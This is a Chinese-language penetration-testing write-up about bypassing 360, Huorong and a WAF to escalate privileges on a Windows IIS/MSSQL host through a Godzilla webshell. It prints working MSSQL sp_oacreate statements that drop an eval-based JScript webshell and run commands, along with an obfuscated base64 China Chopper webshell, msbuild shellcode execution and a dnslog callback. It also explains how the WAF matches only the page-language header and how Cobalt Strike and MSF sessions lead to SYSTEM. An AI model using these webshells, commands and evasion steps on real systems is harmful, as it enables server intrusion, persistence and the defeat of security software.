0x01 前言
这篇文章记录的是朋友在某次项目测试中遇到的一个因存在WAF和多个防护软件而无法提权的问题,这次绕防护提权的过程中也是踩了不少的坑,记录分享下。
0x02 测试过程
朋友发过来的是一个asmx的哥斯拉Webshell,说是存在wdf+360+火绒等安全防护,wdf可能已被360或火绒给接管了,所以这里我们主要绕的是360、火绒。
连上Webshell后发现执行不了任何命令,连常规的set、ver、whoami等命令都不行,EXE就更不用说了。
执行时会卡一段时间,没有回显,也不显示:拒绝访问,说明不是360和火绒拦的。
而且哥斯拉的EfsPotato、BadPotota、SweetPotato、PortScan和网络详情等多个功能模块都用不了。
执行时都会卡一段时间,然后直接就结束掉了,360和火绒默认不会拦这些,也不知道是啥防护拦的。
Web根目录下找到一个web.config,里边存储着MSSQL数据库的连接信息,用的是SA用户,这时可以尝试xp_cmdshell、sp_oacreate等方式去执行命令,不出意外直接就能得到SYSTEM。
首先通过sp_oacreate测试写入一个Webshell,发现文件已经被成功写入到指定路径中,这就说明这种方式是可以利用的,但发现在Webshell下没有权限去删除刚写入的这个文件,不知道什么鬼。
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\ProgramData\shell1.aspx',1;EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
现实并没有我们想象的那么顺利,因为xp_cmdshell默认是调用system32下的cmd,360会对其进行拦截。
而使用sp_oacreate执行ping、whoami命令时就有看到高权限运行的进程,所以说应该是可以提的。
declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'C:\Windows\System32\ping ******.dnslog.cn'
通过使用ping dnslog和将命令执行结果写入文件等方式发现命令都没有执行成功,也尝试了sqlps、msbuild等白名单获取MSF会话,也都失败了,命令中有无空格结果都一样,不知道什么鬼。
sqlps、msbuild执行后也有进程,但如果直接去执行指定的木马程序就没有进程,也就是说也没有执行成功。
C:\ProgramData\msf.exe C:\Windows\System32\ping ******.dnslog.cn C:\Windows\System32\whoami > C:\ProgramData\1.txt C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe shellcode.xml
以上只是简单记录了下测试过程中遇到的问题,目前只能执行部分cobaltstrike内置命令,还不能执行系统命令和上线,接下来我们将在本地模拟这个实战场景来演示如何上线和提权。
0x03 提权过程
首先我们用cobaltstrike生成一个C的shellcode,将shellcode中的\x
和"
以及多余字符都删除掉,只需留下hex shellcode即可,然后利用哥斯拉工具的shellcode加载模块上线。
注:不知为啥在这个场景中MSF的shellcode就不行,也尝试了用哥斯拉的Meterpeter也不行,都上线不了。
但还是执行不了命令/程序,execute-assembly内存加载也不行,这里不太确定是被什么拦的,现在只能执行部分cobaltstrike内置命令,如:getuid、upload、ps等。
虽然shell命令不能执行,但我们还可以去试下run、execute,结果发现可以使用execute命令去执行免杀的MSF木马上线。
后边才发现原来可以直接通过cobaltstrike的spawn来派生会话,这里有个坑,见文末。
通过cobaltstrike的spawn进行派生会话时,MSF监听使用的Payload必须与cobaltstrike监听的一致,HTTP或HTTPS,不能使用TCP,否则也可能获取不了会话。
这时就可以直接利用ms16_075_reflection_juicy模块来进行提权了,下图中可以看到已经利用成功,但是并没有获取到一个新的高权限会话,不过可以直接执行getsystem进行提权。
注:我们在本地复现测试时发现使用低版本MSF的ms16_075_reflection_juicy模块怎样都提权不了,最后没办法,找朋友借了他的VPS测试了下,结果一次性就成功了,所以说在实战中还是得多尝试!!!
0x04 注意事项
如果提权过程中需要迁移进程,但是没有可用的迁移进程,这时可以尝试用execute -Hc -f命令去执行vbc.exe和SQLPS.exe等程序得到一个可迁移进程。
坑点一:
目标好像存在什么WAF,上传Webshell时并没有查杀,但冰蝎马和其他一些大马、命令执行马在访问时一直转圈圈,没能解析成功,应该是被拦了,只能用哥斯拉asmx马和中国菜刀aspx马。
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> <%@ Page Language="Jscript"%><% eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("ZXZhbChSZXF1ZXN0Lkl0ZW1bImFudCJdLCJ1bnNhZmUiKTs=")),"unsafe"); %>
为什么普通aspx马都能过呢?经过测试后发现这个WAF好像是根据Webshell声明的文件头来进行拦截的,只要带有Page Language="C#"
就会被拦,不知道这是啥WAF,居然没有拦截特征。
大马/冰蝎/哥斯拉aspx: <%@ Page Language="C#" %> 中国菜刀aspx: <%@ Page Language="Jscript" %> 哥斯拉asmx: <%@ WebService Language="C#" Class="WebService1" %>
坑点二:
当时朋友告诉我他有试过cobaltstrike派生会话到MSF去提权,但是派生不了,他以为是被防护拦截了,所以我也没有再去测试这个,过于信任他了。
最后发现是他在cobaltstrike设置的监听端口有问题,当时监听的是21端口,而他的VPS只允许使用60000以上的端口来监听,所以MSF获取不到会话。
坑点三:
写这篇文章时发现这台主机已被重启过,这时哥斯拉虚拟终端、cobaltstrike、MSSQL的sp_oacreate都可以执行命令了,但像powershell、net user等高危命令最好还是不要去执行,360仍会拦截。
最后也没搞明白是什么东西导致出现文中的各种问题,重启以后大多数都没有再被拦了,也不知道是不是重启以后才能派生的会话,如果在防护生效不能派生会话时我们又该如何进行提权呢......?